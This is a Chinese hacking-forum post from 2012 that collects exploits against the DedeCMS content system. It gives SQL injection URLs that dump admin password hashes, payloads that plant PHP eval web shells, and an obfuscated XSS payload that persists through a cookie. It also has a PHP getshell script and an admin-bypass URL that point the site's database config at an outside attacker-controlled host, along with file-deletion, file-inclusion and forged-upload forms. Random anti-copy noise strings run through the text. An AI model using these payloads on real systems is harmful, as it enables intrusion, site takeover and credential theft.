找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3321|回复: 0
打印 上一主题 下一主题

dedecms漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 10:42:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0 M& P+ {/ B- `2 H! O+ a( s! b
Dedecms 5.6 rss注入漏洞3 [: I# M8 J7 ?, i+ p/ Q. P4 x0 m8 |  g
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1/ T! H5 C( j) r. i! n0 F

( q3 K, ^: c  W' Q9 k
$ |, h2 x0 W1 |0 E, {4 Z3 t7 Q9 `( b" L- }9 J  o; L+ }. q
! [  U3 b$ g9 x/ o' V* t

# I: s& L: x, `3 {3 G0 |8 B2 j3 A' L- I, r( m7 T0 \
& q& B% A4 j' X7 [
3 T2 R' J' u1 M3 u  [' D3 J6 |
DedeCms v5.6 嵌入恶意代码执行漏洞
* Z2 W- r4 r) e/ M2 D注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
- J, T, ]' ?2 X发表后查看或修改即可执行
# |0 _3 N; x9 ^! n# `6 o" ^6 Ja{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
: [2 w# y5 A. z6 q生成x.php 密码xiao,直接生成一句话。9 Z  b) Y" z' |. X* u$ d8 ?
7 N" S2 m9 l0 \7 ~5 V
- U, H# }( H/ O, D! H
( L- ]8 C3 n6 a- [. K* S

, O2 V' ]6 |0 f1 l2 K
7 ^: E5 i6 X( q2 k& l4 F4 [8 f# ^, \6 k( [1 K1 k) A# g1 H6 G, L5 \
* `% j8 Z' _3 R7 B

/ h3 J; l+ K% r$ {, a' Q1 mDede 5.6 GBK SQL注入漏洞
) M. o! |8 O: l3 X
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
0 i. C& M, `4 Z3 w* V
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe' d; @9 c& f4 A% p6 B/ \) _+ |
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
" `. j. [$ X5 a& G6 L7 I9 I* F, ?: ?

2 O5 w0 b6 w% J3 I2 H/ I* L
3 A, l  y2 n: y/ a- ^1 w7 f, T/ l3 S2 Q2 B" y  C" I  M* {
& O% _) h1 d# O+ w
/ T7 D, g. O& S0 w+ }/ q, B1 u
% Q; `0 s% y- ]( a) Y3 e) C) l

* L) e/ ~8 q# rDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
1 S* `, \+ P" Y1 ?8 y2 x) H8 p$ `/ H
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
4 A* W9 D4 t1 d3 u# C7 q+ b  ]9 i! s/ V( J4 S/ w

: H0 o8 I% ?% b1 Y& B
6 e; l& O: b$ C: I
7 D: s5 Z4 j0 [: T; S* l; H
0 @% j) [7 ]. J+ o% y) Z6 R
; K% b1 l0 {/ C' XDEDECMS 全版本 gotopage变量XSS漏洞
2 [6 b# m( ?( r- y+ G1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。 * Y2 r6 B' B1 T) c6 H# t4 M
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="8 h+ S- L! a# I9 U" G2 j
/ ]2 c/ h" }: B

3 ?+ M/ _. m9 U2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。 ) x2 \) u/ s6 y& s9 J- X
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda4 t; k# C) v& d% Z

5 w$ P6 {0 U' Y6 d: D5 I  Y# e8 V9 |2 v( u$ [+ l
http://v57.demo.dedecms.com/dede/login.php  R1 v1 r% H# G! H5 v5 K) R* c' x

7 Y2 w$ W2 M8 E; w8 d& C9 U! q7 G
color=Red]DeDeCMS(织梦)变量覆盖getshell8 A; Y* h/ r) l% d+ _( a
#!usr/bin/php -w5 E6 c! {) f$ |/ |& S6 M
<?php
! E: e, p2 e, {4 k# _error_reporting(E_ERROR);
: @/ w9 Z8 O- W1 ~6 r  Wset_time_limit(0);
9 ]' ?- C2 R" D. bprint_r('
0 X& T) j9 _- t& S, v; DDEDEcms Variable Coverage
; K6 l( ]% Q6 \  e( o+ A5 mExploit Author:
www.heixiaozi.comwww.webvul.com6 K% p. Z+ t4 E( C! n
);
; z9 N7 s; e/ o% ~% Z3 e1 K/ ~echo "\r\n";0 A2 K8 h* ^0 T2 C% w/ l6 ]8 N
if($argv[2]==null){8 W. r! `/ K1 ]& I0 {
print_r('5 F" ^4 {0 q& s& N
+---------------------------------------------------------------------------+  ?: X9 ?$ v6 Q  c% c
Usage: php '.$argv[0].' url aid path, J+ c% X( M1 Q& b
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/% q3 l2 @2 Q/ q/ d
Example:, s) S1 ]* c' S/ [  L; g
php '.$argv[0].'
www.site.com 1 old" D( B5 a, E( q& N
+---------------------------------------------------------------------------+
* C! L6 S- t5 g0 O' r5 E');8 Y* g1 N1 Y0 R
exit;
4 d3 J7 t- q/ L2 V) f( \- G: [}* X% ]/ {5 [& _6 c
$url=$argv[1];# u* @* o6 L# S- ]  H0 T
$aid=$argv[2];
$ S; z$ c) a, u! i$path=$argv[3];
; z/ `: I. [5 ^$exp=Getshell($url,$aid,$path);% K( M+ C0 b$ o1 }# O8 o
if (strpos($exp,"OK")>12){  B3 ]1 |$ P4 w0 P9 u
echo "7 p2 x3 S) a1 G4 B% Z
Exploit Success \n";( |: M! S) }# C# |0 {" l
if($aid==1)echo "1 Y% G0 C# c: |
Shell:".$url."/$path/data/cache/fuck.php\n" ;) D, w5 x# y, L8 L3 w3 j+ B3 b
, w9 h1 k' x2 C- Z. {% n6 E! M

/ e/ l& K9 P- T. |if($aid==2)echo "" J1 m" b0 M! R+ o
Shell:".$url."/$path/fuck.php\n" ;% ?4 J+ m/ x! z( ]* t% h+ ~  P
" J) ]0 f; p& N+ U. X7 |9 I% ]
& ]1 S' K  \* k) X8 y1 p
if($aid==3)echo "
5 W- \; Z  P; T( p; e; G6 YShell:".$url."/$path/plus/fuck.php\n";- `) w  M  x/ v5 l: y

% p/ N3 u2 ~0 A7 r3 i+ X3 H" a$ a: p- Q0 `* r" D8 R- v$ n
}else{
* m4 Q! P4 w+ J! Y+ T* U( l0 ^& L6 Kecho "
% v  G* L' G9 z# m# EExploit Failed \n";# D( `& {+ j. e7 j1 a* O
}2 h9 A  n4 O9 @9 O3 K( O
function Getshell($url,$aid,$path){, O8 b$ b+ L3 w/ Z; U2 A: J
$id=$aid;3 R* V. l3 q0 ~2 F+ N0 f
$host=$url;
5 \5 |( v8 n: M+ W' J# u: V: }$port="80";
& Y7 Q' g$ l3 ^# H' g$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";- N$ i. ~( B; L9 _" O
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
8 N+ `  E8 |9 S- C2 c6 l4 Q6 H$data .= "Host: ".$host."\r\n";
9 K% h! N: ^" O( D3 f$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
# _( Q- V6 t- x/ D3 O$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
# \5 p, ~2 p8 [* {$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
# W* N. j/ g8 Q* B  @! D* N# F//$data .= "Accept-Encoding: gzip,deflate\r\n";
; l  X. \# d( Z) {7 H! @$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
0 _# Y) v  y- J# l' D! V$ z$ `! I$data .= "Connection: keep-alive\r\n";
! I" e6 l4 F' L  ~$ I, u$data .= "Content-Type: application/x-www-form-urlencoded\r\n";/ J! ]2 z/ J2 a; m& c% C, Q
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 _7 ^. M/ _2 X$ @9 x$data .= $content."\r\n";4 Y2 o8 p2 ?# I/ Q6 ]; t8 r6 Y9 E
$ock=fsockopen($host,$port);2 V% Q1 L* u% B9 K, O
if (!$ock) {
0 t! M6 _6 q. `& K- `. H& S0 t& necho "- o" E; K* q+ }" M7 [2 e" {
No response from ".$host."\n";
3 i; M9 y0 ~, F, ]}- P5 L& r- I/ j+ ]1 z. s
fwrite($ock,$data);
8 X% q! P2 A; X2 m9 W" z  Y% jwhile (!feof($ock)) {: C" r3 X7 d1 q4 {6 N. E! N
$exp=fgets($ock, 1024);
- W2 B. L$ M$ c0 ?( d5 creturn $exp;
1 s& |! u' V6 f& a. ]! K+ ~}
+ d: k/ q: `. p; E  e/ I6 X6 ~}
) Q/ }2 `; c; m+ u& f& k# Q8 [  J3 O# o4 [3 k/ z( D; V

8 e% r4 B. q: X2 J! W" W?>
9 B8 q. e" X8 d; N* k; u/ e1 K7 ~
" F6 C! U$ e& V* Z1 X' @) @" l7 ^' U
9 C! X7 r1 R- [  F
* v5 B3 u( l+ d: I0 b+ ~: ?
/ Q2 F2 N  P7 D5 Z+ B" u4 Q4 l# r; T7 p
! u" |6 P2 b: @/ `' I

* ^7 D& |- m) ^7 t5 j! g3 t9 J  D
# u0 W2 L  [4 i/ S7 [9 O: G8 o: G! ]$ G. H

+ a2 N9 S% ^6 H+ w+ F. z9 ODedeCms v5.6-5.7 越权访问漏洞(直接进入后台)! M  y! I8 r2 D8 r
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root1 o* I7 @% y' X$ E* g; K* G
9 u4 N" L& _7 f1 P& m9 G

* |1 X) F* \- ^2 h* }& M! L把上面validate=dcug改为当前的验证码,即可直接进入网站后台0 w) h/ A+ ?' z/ T: d

; L# i0 o0 J7 K" P/ v2 `. _4 {" h  O' d( ]! N* @0 Q
此漏洞的前提是必须得到后台路径才能实现' h- o) F1 I# y4 l% ?( w% @
! f7 n' y& ?9 H
2 ?' S' b5 F, _7 Y, H

" r3 j1 p9 b- {% n6 N
2 ]) C) ^, s2 z4 I2 i7 l4 Q6 u1 @4 l6 \7 c% X- \6 [0 h
* B2 ~- M' a. X$ {1 r% I

, {1 h1 g" V0 T% Q$ V
" k6 z1 i: H' _
* o6 {6 T; v6 k
4 C% R3 d+ _9 Z4 ?Dedecms织梦 标签远程文件写入漏洞
. a5 g" u" v, J0 L3 ?; a6 _4 D前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
+ k/ T; |! {# i3 c9 V1 c8 }# r
, y6 ?: H% \8 I2 C% E: f  ?" ?, _& v) j* o
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 6 i/ A+ Q& F  L
<form action="" method="post" name="QuickSearch" id="QuickSearch">
4 k1 u% U- M1 W8 }- J1 b- L<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
7 u, T2 G0 D, ?' u( S( z<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
% d# w: R+ l' W. D" |* y<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />* D7 J: J/ D8 p# g1 b; D% e3 a
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />- ^* e/ ?4 L2 h6 e0 d9 v
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />7 Q- L- M4 o" y4 _6 f0 ~' u
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />) k1 d5 o2 I5 Y0 N+ j" [
<input type="text" value="true" name="nocache" style="width:400">9 E5 H" M) A2 k- U) v0 Y
<input type="submit" value="提交" name="QuickSearchBtn"><br />
& Y5 U# [. `/ A' K* h1 @</form>" g) ?8 w; e, h! I3 M/ y1 q
<script>
+ e6 C6 i0 S6 x4 vfunction addaction()
3 I. T6 g& X8 q- S. T{
1 h0 p- ^% n0 \6 o3 B. Wdocument.QuickSearch.action=document.QuickSearch.doaction.value;
- w& u! k4 j* r5 S}
* c: \7 w1 A6 C, A8 V</script>
4 d% R! K4 s2 d, f: B  e( `
" s5 G0 h8 t* L2 o! X- T' Y# m8 ^1 E  R0 q) I2 L/ `8 w
. S- U. X7 @& h
6 ^4 h% `4 B% c8 R7 U: A

1 v6 `; \, B1 h, A& k
) R9 p/ L3 R7 X9 e1 I
' F* I( _' Q! p) A" Z  b4 F2 o1 u6 Z. R/ k

: a; C6 _7 f( D! M( n5 _( y. B; ?
DedeCms v5.6 嵌入恶意代码执行漏洞
( D+ e0 }1 K2 y6 J. a7 f注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行. J+ u6 s4 K$ K: L% t/ k, |
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
4 C6 N9 f8 Y6 H  U& g- p生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得
6 _9 P$ |5 k/ m+ g" u& yDedecms <= V5.6 Final模板执行漏洞
* r* h* T6 P' G2 \: Z注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:4 `0 O! |- @4 C; j, }
uploads/userup/2/12OMX04-15A.jpg1 M* {& R  O* ~4 S/ Z" }+ X
. ]/ N" Q6 i# _9 Q; }* d, m/ h8 T

& |; R/ j% L0 i模板内容是(如果限制图片格式,加gif89a):
5 }$ i! ?$ X' h' e: \( ~! N{dede:name runphp='yes'}
9 }7 t2 L' p1 z& P& U$fp = @fopen("1.php", 'a');* x8 m5 Y5 Q+ V/ r
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");/ n4 u8 W$ D$ @9 u1 [2 f' {/ E
@fclose($fp);
" O: @6 {, P; \( a{/dede:name}
% `7 d- N1 f, O8 Q* M2 修改刚刚发表的文章,查看源文件,构造一个表单:
9 m: ^* N, X, l# M( V& j7 a- `<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">0 @0 {6 D9 G' @  E, O9 H
<input type="hidden" name="dopost" value="save" />
0 c) D/ w+ |, X, @% @1 w<input type="hidden" name="aid" value="2" />
5 V- t( b1 f" ]1 u<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
. A- `$ l# K8 w3 o8 S  r<input type="hidden" name="channelid" value="1" />1 W4 ]2 A# ]5 D+ W3 t
<input type="hidden" name="oldlitpic" value="" />
! j/ ?+ G5 i3 ~9 B$ x% A+ k<input type="hidden" name="sortrank" value="1275972263" />
3 i9 d$ l# o" k  [4 m" k: R! i
' R! ]3 [7 R. i  V5 W3 ?0 E& P$ K; }: j; D
<div id="mainCp">: G9 i8 }: I6 y; C" O3 f
<h3 class="meTitle"><strong>修改文章</strong></h3>
, U, o2 p6 L. c4 k8 N
- R- H' ?& k, l% {) M% G! ?: N" _! C; c  o; c% C5 H& i6 l6 _
<div class="postForm">
: U# k) _/ R' O: N$ u0 }<label>标题:</label>! o) a. [: x$ |' z' w
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>( q3 Y6 u6 @) n

2 M4 K0 Y- s) `) H, u& g9 [; l5 H4 h5 B! q1 E7 u
<label>标签TAG:</label>
  {9 }0 O/ s  A<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
2 p7 v+ [  @# }0 P' r2 h1 P9 U- k5 n2 t0 g6 v& \

  X& K0 S! R: p+ @9 M<label>作者:</label>5 O  j/ G2 t/ p' \8 i
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>4 f! j0 }: I( D$ T+ \) }

. m7 X4 N3 |4 C6 I1 |% s3 h0 r" w5 `
<label>隶属栏目:</label>
6 e6 j5 ?5 P$ K* z. M" `<select name='typeid' size='1'>
  y8 V: n8 c6 A" a<option value='1' class='option3' selected=''>测试栏目</option>* a, R# ^, y' |2 a/ V/ D
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
; Q0 E) \; {7 m
; H1 Z+ r" i1 u, Q8 \9 v
* Z" b- b& X' }5 h: Y; E<label>我的分类:</label>5 G5 U* D( d, W% ^* F; r
<select name='mtypesid' size='1'>
% C. Q( T6 O, ]+ Q. a9 m$ I<option value='0' selected>请选择分类...</option>
  @. ^' o; U) Z2 ^/ J( L<option value='1' class='option3' selected>hahahha</option>9 J* K- s9 L5 a
</select>+ p7 T1 w0 Q+ K( N; j- j" }* z
9 C+ z7 F8 ~* g; x9 a

7 n5 T% {; [, l<label>信息摘要:</label>5 D1 h% ~9 F' H0 z- c
<textarea name="description" id="description">1111111</textarea>4 R; i& F8 E! t0 _
(内容的简要说明)8 Q9 D# ?1 L4 U. u( \' j

; N8 V% A1 ^7 W6 ^, ~$ V
: }: g5 g6 T+ P3 }! ^<label>缩略图:</label>* I0 r& r+ F% ]
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>1 C, p8 j$ A* T" s1 o: f5 s
* ~. U, c' Y: h# ]# t# D: Q

* g% _+ f0 L* _8 K9 v# B<input type='text' name='templet'
! c% K  o6 y* j, `; o% Cvalue="../ uploads/userup/2/12OMX04-15A.jpg">
' C5 D- w7 q/ m" n<input type='text' name='dede_addonfields'* f2 g2 l) R: o5 l7 n4 R' C
value="templet,htmltext;">(这里构造)
# I1 k' \) w  T/ F4 g</div>  c, I1 ^% v$ c/ @$ C4 R! _

1 |$ f, A* h% t: b+ I
( v; |. \' g! @+ c! N2 }6 T<!-- 表单操作区域 -->$ E6 \8 D  T/ d$ x9 B+ y* o
<h3 class="meTitle">详细内容</h3>
+ N; a# }7 Z: i. P  E" Z
% v0 y8 N, j1 d7 C0 i3 m0 [9 V! l% T7 p
<div class="contentShow postForm">! d, ^& `1 Y$ p4 j
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
3 K$ _! O5 ^. y# H
3 T+ G# C5 Y, s# I+ i" D
- z. o# _- \9 y5 a$ B1 p/ `- q<label>验证码:</label>5 v- ?5 K4 U. T
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
1 K& G5 H/ A* I  Y/ f<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
* ^4 H4 @8 `) n) D2 F
/ L, }2 y4 r  O5 x9 `2 e* Q: g" a* i. e8 E4 K
<button class="button2" type="submit">提交</button>" a4 v0 q( ^# T3 x
<button class="button2 ml10" type="reset">重置</button>
0 o6 r% V# u3 j! f</div>: f3 Y" y- h% T/ m

# n2 N/ }2 u& P7 r. L7 W0 C2 x  b  V' D7 i" E; I$ K1 W# @
</div>5 C, Q, ^, S9 U$ I
" r/ d: u5 v" g9 X

" U. h: _" P4 w6 ?. ?</form>. }* i- s& T( |, q0 B

7 ?) c  w; @- {( s
4 k& y! L1 X( J  l" J! V提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:- i* h6 L" ?  U' k
假设刚刚修改的文章的aid为2,则我们只需要访问:
  v% P1 {: ]+ C+ w
http://127.0.0.1/dede/plus/view.php?aid=2/ }9 J" B' y/ ]- x7 T
即可以在plus目录下生成webshell:1.php
3 S. J4 m' b) I! S5 P/ J# o$ a2 B8 z( B

/ u$ U( s+ G  I8 k) d$ v
" O: W* N, f$ M/ L2 d, a
6 m4 q4 \& e7 X( e0 j! M0 G  ~4 a5 s% L" z0 ^$ O4 t

3 Y2 X5 s! ?0 b% E/ g% ~2 a) ?
- s# d9 L1 \' q" n6 D; g( C. `& |4 T9 u; }% J6 ?8 {( ]
/ g3 e6 _- A% O) {1 d( a( R" n
+ d) L5 E- O5 l8 i& r- x
" c" S. h) W2 W, I

) j) ?" k# |; _3 C3 H2 oDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
% z; |" c7 j$ q6 A, Y: cGif89a{dede:field name='toby57' runphp='yes'}7 ]* J! z, U$ Q. w( l
phpinfo();
% W3 O; g$ t: x3 \{/dede:field}
: C" f% q9 Q& Y2 w" w& O; v3 X保存为1.gif
3 o2 o1 h0 }: q  d9 l<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
  u' `# y' a% G! [. K" y7 v4 _* ]<input type="hidden" name="aid" value="7" />
; f0 g5 D$ o8 K/ G0 Z<input type="hidden" name="mediatype" value="1" /> 3 ]! K8 S8 u/ ~
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
& V. ]  y) m& P3 F5 e# c2 K<input type="hidden" name="dopost" value="save" /> $ X5 Y& G6 w' c+ E
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/> " j9 L. P5 Y9 K+ {7 _) a  ]0 S
<input name="addonfile" type="file" id="addonfile"/> 7 K/ K+ k* ]3 V- W# c1 r
<button class="button2" type="submit" >更改</button>
2 b' u% B* r; \; d+ [( H</form>
+ Q( w: h) _$ [" k3 z
$ ~$ A; t4 z  `$ n$ ~6 S" `+ @% Z$ D' `! C
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
! Y8 O" m4 I) N7 l发表文章,然后构造修改表单如下:! b1 m4 w" w  b) i6 k0 R
0 h/ x. e' ]. F
' ]& ]6 Q7 u( x
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> 0 g0 X% u. V& h, d8 w
<input type="hidden" name="dopost" value="save" />
# x* U4 X) @5 p# x1 W<input type="hidden" name="aid" value="2" /> ( S. ]- ^  p% f% h) L, q# f
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
3 v+ D4 n" |% ?1 d! y3 s- m$ J<input type="hidden" name="channelid" value="1" /> 4 X* ?+ v$ f& {6 B) P( I
<input type="hidden" name="oldlitpic" value="" /> 5 t* W1 i3 X: |# W; a; b9 G4 E5 ~
<input type="hidden" name="sortrank" value="1282049150" />
% a( ~( o5 T$ O1 q# w- d# u<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
1 P2 F/ g9 m6 `. |4 |: A<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/> 6 J  ~; o# L6 j' ?" Q# E
<select name='typeid' size='1'> : I8 u% ~. Z) e" m
<option value='1' class='option3' selected=''>Test</option>
# p& ~+ @9 {) P2 [: Q# x<select name='mtypesid' size='1'>
: J: v# a2 ^. J- Y: P* H. _+ q5 ~7 Q<option value='0' selected>请选择分类...</option>
, H! V$ r" k5 M9 E" _<option value='1' class='option3' selected>aa</option></select>
; C" [) o3 _" Z/ M+ s' |<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
/ _/ F6 ]; [$ U  `6 M* M<input type='hidden' name='dede_addonfields' value="templet">
  z) K% b( T( j; q1 u) Y2 W<input type='hidden' name='templet' value="../uploads/userup/3/1.gif"> 6 r+ @6 S7 Q& \
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 4 |" ^) v( O3 I8 h6 U9 h" E
<button class="button2" type="submit">提交</button> 9 C) }% p3 S+ q+ _7 e7 J
</form>
# {  E% y% S1 F2 k3 L- p4 Q
1 G6 F; G) ^; {- m/ V: o4 g3 `4 @) O' ^4 x; O, B0 L+ g; g
' k# C: V6 ^: G7 o' h+ o0 W( m

7 z0 j# r6 t3 k9 [4 E4 Y7 n$ N. Y: h4 q0 d- k6 i2 J
4 s; `8 J7 M' U& J: |

" v( O7 }) `3 g
* w( B2 w+ U: {: b) S: R1 G/ x- s' [! s+ P
! L6 w# K6 s4 o) C0 i6 d# ^+ X, @! Y

! I; K4 w1 ]0 F4 b4 j
/ c# i! g1 n4 `( A6 e织梦(Dedecms)V5.6 远程文件删除漏洞
% E, }1 F' u2 K) L
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
3 l8 f  t, A" l3 S& ~0 N5 [6 b( X  [7 O  m0 a) N+ K

0 W$ `+ E/ {3 ~! h$ O9 @6 |7 Y$ l+ c" v0 c
: G7 X  R7 a  U* e2 v/ l9 n5 n

" k& _5 n9 K1 r% z8 K9 t0 W  r/ b
1 ~7 N: G( X* V+ ]% N, G5 {6 o9 l5 o2 w4 P0 k
7 f; R3 ?2 d5 x% a2 u
- Y/ C2 \+ v$ H# T& o3 U

6 g& {) ^' a, A  g织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞 1 m! D5 X9 U5 U8 f- Z& r$ R
http://www.test.com/plus/carbuya ... urn&code=../../  H2 A" y  u" ^- t. {' O

8 E" X2 g2 ^0 j2 ?$ I* C* Z# q3 `9 K+ ^

' Z6 g5 ^& J3 t8 \( H: _% f" K) S2 J. w* f; ]( u
, V( D7 p5 J" `: }0 n4 I$ \
, q" @2 @' z! {6 T& P
6 Y- L# u# ~; P4 \& G) C

: o4 t% c0 P. Q) Q) }' g% r; z& a; C# @' e$ E
% f, j* h; i1 |
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
# s/ r  X- \! Vplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
3 Q' |3 R! k2 N! f, K密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5
& ~' f# D# D2 Q; _+ t0 e: |7 f% @2 b) Z% L

0 N+ q6 M9 e6 Q) N
) W2 i9 Z0 Z4 Q8 x- l
' A+ z: T' S7 i+ p4 k) v# j
( c" y& t4 r. |
+ K0 n6 o; R8 A& J8 f0 J" ^7 |& q2 c8 ]# F' F4 g
$ F: A- u8 h: z) E  A
/ u. _! h) z5 c( C7 x* j
8 |- }% Y" J! M2 a! |0 }/ I
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞  v7 ^, E) s" T, w" v0 C- Z" B' c
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='( O1 l1 Y  ^# F( A$ F. H6 r

: F0 @$ {% U  g) g* R' z" {. A% i  S% p7 Y3 k* b

